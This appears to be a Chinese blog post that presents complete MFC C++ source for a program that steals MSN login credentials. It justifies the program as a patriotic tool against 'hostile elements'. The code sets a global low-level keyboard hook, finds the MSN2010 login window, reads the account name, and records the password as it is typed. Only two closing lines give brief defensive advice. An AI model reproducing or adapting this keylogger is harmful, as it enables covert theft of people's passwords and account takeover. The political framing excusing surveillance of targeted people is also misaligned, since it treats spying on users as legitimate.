使用MSN的用户还是很多的,在未来国家之间的网络战争中,获取密码变得非常重要,很多敌对分子,很多***分子都使用MSN。
为了捍卫伟大祖国安全的程序员们,目前我们来分析一下MSN账户密码的窃听,
#include "stdafx.h"#include "MSNRecord.h"#include "MSNRecordDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endifCString g_strUsername; //保存帐号的字符串CString g_strPassword; //保存密码的字符串CWnd *g_editUsername; //本程序帐号控件对象指针CWnd *g_editPassword; //本程序密码控件对象指针HWND g_hMSNUsernameWnd = NULL; //MSN帐号控件窗口句柄HWND g_hMSNPasswordWnd = NULL; //MSN密码控件窗口句柄int g_nPWFocusPos = 0; //当前输入焦点位置DWORD g_dwPerTime = NULL; //前次按键的时间戳HHOOK g_hLowLevelKeyboardHook = NULL;//WH_KEYBOARD_LL钩子句柄//WH_KEYBOARD_LL钩子处理函数LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);//获取MSN账号的线程函数DWORD WINAPI ThreadProc(LPVOID lpParam);//获得按键字符CString GetKey(PKBDLLHOOKSTRUCT pKeyboardHookStruct);//判断MSN登录窗口中输入焦点落在哪个Edit控件中HWND GetFocusEx();// CAboutDlg dialog used for App Aboutclass CAboutDlg : public CDialog{public: CAboutDlg();// Dialog Data enum { IDD = IDD_ABOUTBOX }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support// Implementationprotected: DECLARE_MESSAGE_MAP()};CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD){}void CAboutDlg::DoDataExchange(CDataExchange* pDX){ CDialog::DoDataExchange(pDX);}BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)END_MESSAGE_MAP()// CMSNRecordDlg dialogCMSNRecordDlg::CMSNRecordDlg(CWnd* pParent /*=NULL*/) : CDialog(CMSNRecordDlg::IDD, pParent){ m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);}void CMSNRecordDlg::DoDataExchange(CDataExchange* pDX){ CDialog::DoDataExchange(pDX);// DDX_Control(pDX, IDC_EDIT_USERNAME, m_Editctrl_Username);// DDX_Control(pDX, IDC_EDIT_PASSWORD, m_Editctrl_Password);}BEGIN_MESSAGE_MAP(CMSNRecordDlg, CDialog) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() //}}AFX_MSG_MAP ON_BN_CLICKED(IDC_BN_START, &CMSNRecordDlg::OnBnClickedBnStart) ON_WM_TIMER()END_MESSAGE_MAP()// CMSNRecordDlg message handlersBOOL CMSNRecordDlg::OnInitDialog(){ CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here m_iMSNLoginStatus = PRECLOSE; //此刻之前显示“MSN登录框未开启...” g_editUsername = GetDlgItem(IDC_EDIT_USERNAME); g_editPassword = GetDlgItem(IDC_EDIT_PASSWORD); if (StartRecord()) { GetDlgItem(IDC_BN_START)->SetWindowText(_T("Stop")); m_bStart = TRUE; } return TRUE; // return TRUE unless you set the focus to a control}void CMSNRecordDlg::OnSysCommand(UINT nID, LPARAM lParam){ if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialog::OnSysCommand(nID, lParam); }}// If you add a minimize button to your dialog, you will need the code below// to draw the icon. For MFC applications using the document/view model,// this is automatically done for you by the framework.void CMSNRecordDlg::OnPaint(){ if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); }}// The system calls this function to obtain the cursor to display while the user drags// the minimized window.HCURSOR CMSNRecordDlg::OnQueryDragIcon(){ return static_cast (m_hIcon);}void CMSNRecordDlg::OnBnClickedBnStart(){ // TODO: Add your control notification handler code here if (!m_bStart) { if (StartRecord()) { GetDlgItem(IDC_BN_START)->SetWindowText(_T("Stop")); m_bStart = TRUE; } } else { if (StopRecord()) { g_strUsername = g_strPassword = _T(""); g_nPWFocusPos = 0; m_bStart = FALSE; m_iMSNLoginStatus = PRESTOP; GetDlgItem(IDC_BN_START)->SetWindowText(_T("Start")); OutputDebugString(_T("停止监视!")); GetDlgItem(IDC_STATIC_INFO)->SetWindowText(_T("停止监视!")); } }}BOOL CMSNRecordDlg::StartRecord(void){ SetTimer(2, 1000, NULL); //监视MSN登录框的开启(1000ms) if (!SetHook()) { OutputDebugString(_T("Can't start!")); return FALSE; } SetTimer(1, 10, NULL); //WH_KEYBOARD_LL卸载安装定时器(10ms) return TRUE;}BOOL CMSNRecordDlg::StopRecord(void){ KillTimer(1); KillTimer(2); if (!DeleteHook()) return FALSE; return TRUE;}BOOL CMSNRecordDlg::SetHook(void){ g_hLowLevelKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0); if (!g_hLowLevelKeyboardHook) {// OutputDebugString(_T("set WH_KEYBOARD_LL hook failed!!!")); return FALSE; }// OutputDebugString(_T("set WH_KEYBOARD_LL hook")); return TRUE;}BOOL CMSNRecordDlg::DeleteHook(void){ if(!UnhookWindowsHookEx(g_hLowLevelKeyboardHook)) {// OutputDebugString(_T("delete WH_KEYBOARD_LL hook failed!!!")); return FALSE; }// OutputDebugString(_T("delete WH_KEYBOARD_LL hook")); return TRUE;}//寻找并获取MSN登录框信息BOOL CMSNRecordDlg::FindMSNLogin(void){ HWND hMSNLogin = NULL; hMSNLogin = ::FindWindowEx(NULL, NULL, _T("TXGuiFoundation"), _T("MSN2010")); if (NULL == hMSNLogin) { OutputDebugString(_T("find MSN failed!!!")); return FALSE; } OutputDebugString(_T("find MSN")); HWND hMSNChildWnd = NULL; HWND hMSNUsernameWnd = NULL; HWND hMSNPasswordWnd = NULL; hMSNChildWnd = ::GetWindow(hMSNLogin, GW_CHILD); hMSNUsernameWnd = ::GetWindow(hMSNChildWnd, GW_HWNDFIRST); hMSNPasswordWnd = ::GetWindow(hMSNChildWnd, GW_HWNDNEXT); if (!hMSNPasswordWnd) { OutputDebugString(_T("get MSNPasswordWnd failed!!!")); return FALSE; } OutputDebugString(_T("get MSNPasswordWnd")); g_hMSNUsernameWnd = hMSNUsernameWnd; g_hMSNPasswordWnd = hMSNPasswordWnd; return TRUE;}//获取并显示MSN帐号BOOL CMSNRecordDlg::GetMSNUsernameInfo(void){ TCHAR tempbuf[256] = {0}; if(!::SendMessage(g_hMSNUsernameWnd, WM_GETTEXT, 256, (LPARAM)tempbuf)) { g_editUsername->SetWindowText(_T("")); g_strUsername = _T(""); return FALSE; } CString strUsername = tempbuf; g_editUsername->SetWindowText(strUsername); g_strUsername = strUsername; return TRUE;}void CMSNRecordDlg::OnTimer(UINT_PTR nIDEvent){ // TODO: Add your message handler code here and/or call default switch (nIDEvent) { case 1: //WH_KEYBOARD_LL卸载安装定时器(10ms) if (DeleteHook()) if (SetHook()) break; case 2: //监视MSN登录框的开启(1000ms) if (!FindMSNLogin()) { //如果此刻之前显示“MSN已开启!”或“停止监视!” if (m_iMSNLoginStatus == PREOPEN || m_iMSNLoginStatus == PRESTOP) { g_strUsername = g_strPassword = _T(""); m_iMSNLoginStatus = PRECLOSE; OutputDebugString(_T("MSN登录框未开启...")); GetDlgItem(IDC_STATIC_INFO)->SetWindowText(_T("MSN登录框未开启...")); } break; } else { //如果此刻之前显示“MSN登录框未开启”或“停止监视!” if (m_iMSNLoginStatus == PRECLOSE || m_iMSNLoginStatus == PRESTOP) { if (g_strPassword == _T("")) { GetDlgItem(IDC_EDIT_PASSWORD)->SetWindowText(_T("")); } OutputDebugString(_T("MSN已开启!")); GetDlgItem(IDC_STATIC_INFO)->SetWindowText(_T("MSN已开启!")); m_iMSNLoginStatus = PREOPEN; } GetMSNUsernameInfo(); break; } default: break; } CDialog::OnTimer(nIDEvent);}LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){ if (nCode == HC_ACTION) { PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam; if (((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))) { //判断当前活动窗口是否是MSN2008 //由于这只是一个测试程序,所以只针对MSN2008,暂不处理其他版本的MSN HWND hTopWnd = GetForegroundWindow(); CString strTopWnd; TCHAR tempbuf[256] = {0}; ::SendMessage(hTopWnd, WM_GETTEXT, 256, (LPARAM)tempbuf); strTopWnd = tempbuf;// OutputDebugString(_T("当前活动窗口:") + strTopWnd); if (strTopWnd != _T("MSN2010")) { //若活动窗口不是MSN2010,则直接返回并把该按键继续往下传 return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } //判断MSN2010登录窗口中哪一个edit控件拥有输入焦点 HWND hFocusWnd = GetFocusEx(); if (hFocusWnd == g_hMSNUsernameWnd) //处理MSN帐号 { //MSN帐号最长为50个字符 if (g_strUsername.GetLength() >= 50) return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); //创建一个新线程,用于获取MSN帐号 HANDLE hThread; DWORD dwThreadId; hThread = CreateThread( NULL, //默认安全属性 NULL, //默认堆栈大小 ThreadProc, //线程入口地址(执行线程的函数) NULL, //传给函数的参数 0, //指定线程立即执行 &dwThreadId //返回线程的ID号 ); } else if (hFocusWnd == g_hMSNPasswordWnd) //处理MSN密码 { //测试按键的时间戳 DWORD dwTime = pKeyboardHookStruct->time; if ((dwTime - GetMessageTime()) & 0xffff0000)//不是真实按键 { return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } if (g_dwPerTime == dwTime)//假如按键消息的time参数跟前次保存的一样,那么是虚假按键 { //这里有两个问题: //1. 当某次MSN的HOOK在本程序之前时,真实按键会被MSN过滤掉,而它随后发出的虚假按键就会被本程序误判为真实按键(因为时间跟上一次记录的(虚假按键)不一样) //2. 当按键按得太快(两个键同时按下)时,真实按键会被误判为虚假按键而被放过 return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } //保存当前的pKeyboardHookStruct->time参数,用于下次比较使用 g_dwPerTime = dwTime; //处理键盘输入焦点位置(部分控制键) switch (pKeyboardHookStruct->vkCode) { case VK_BACK: //退格键 { g_strPassword.Delete(g_nPWFocusPos - 1); if (--g_nPWFocusPos < 0) g_nPWFocusPos = 0; OutputDebugString(_T("Password: ") + g_strPassword); g_editPassword->SetWindowText(g_strPassword); return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } case VK_DELETE: //Delete键 { g_strPassword.Delete(g_nPWFocusPos); OutputDebugString(_T("Password: ") + g_strPassword); g_editPassword->SetWindowText(g_strPassword); return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } case VK_LEFT: //向左键 { if (--g_nPWFocusPos < 0) g_nPWFocusPos = 0; return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } case VK_RIGHT: //向右键 { if (++g_nPWFocusPos > g_strPassword.GetLength()) g_nPWFocusPos = g_strPassword.GetLength(); return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } default: break; } //MSN密码最长为16个字符 if (g_strPassword.GetLength() >= 16) { return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } //把截获下来的MSN密码显示在本程序密码框中 CString strInput = GetKey(pKeyboardHookStruct); if (strInput == _T("")) return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); g_strPassword.Insert(g_nPWFocusPos, strInput); g_nPWFocusPos++; OutputDebugString(_T("Password: ") + g_strPassword); g_editPassword->SetWindowText(g_strPassword); } return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } } return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam);}CString GetKey(PKBDLLHOOKSTRUCT pKeyboardHookStruct){ TCHAR szKeyText[256] = {0}; CString strKeyText; BYTE KeyboardState[256]; ZeroMemory(KeyboardState, sizeof(KeyboardState)); GetKeyboardState(KeyboardState); WORD wChar; int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0); if (iNumChar >= 1) //可输入字符(包括数字、字母和其他符号) { _snprintf((CHAR*)szKeyText, 255, "%c", wChar);// OutputDebugString(szKeyText); strKeyText = szKeyText; } return strKeyText;}DWORD WINAPI ThreadProc(LPVOID lpParam){ Sleep(10); TCHAR tempbuf[256] = {0}; if(!::SendMessage(g_hMSNUsernameWnd, WM_GETTEXT, 256, (LPARAM)tempbuf)) { g_editUsername->SetWindowText(_T("")); g_strUsername = _T(""); return 0; } CString strUsername = tempbuf; g_editUsername->SetWindowText(strUsername); g_strUsername = strUsername; return 1;}HWND GetFocusEx(){ HWND hMain = GetForegroundWindow(); if (hMain==NULL) return NULL; DWORD dwThreadTarget = ::GetWindowThreadProcessId(hMain, NULL); DWORD dwThreadThis = ::GetCurrentThreadId(); ::AttachThreadInput(dwThreadThis, dwThreadTarget, TRUE); HWND hFocus = ::GetFocus(); ::AttachThreadInput(dwThreadThis, dwThreadTarget, FALSE); return hFocus;}
如何防止我们自己的MSN不被窃听呢,那么就要更新到MSN2011,并装上MSN protect软件就可以防止账户秘密被窃听了,
现在泄密门那么厉害,尤其网络管理员要格外注意。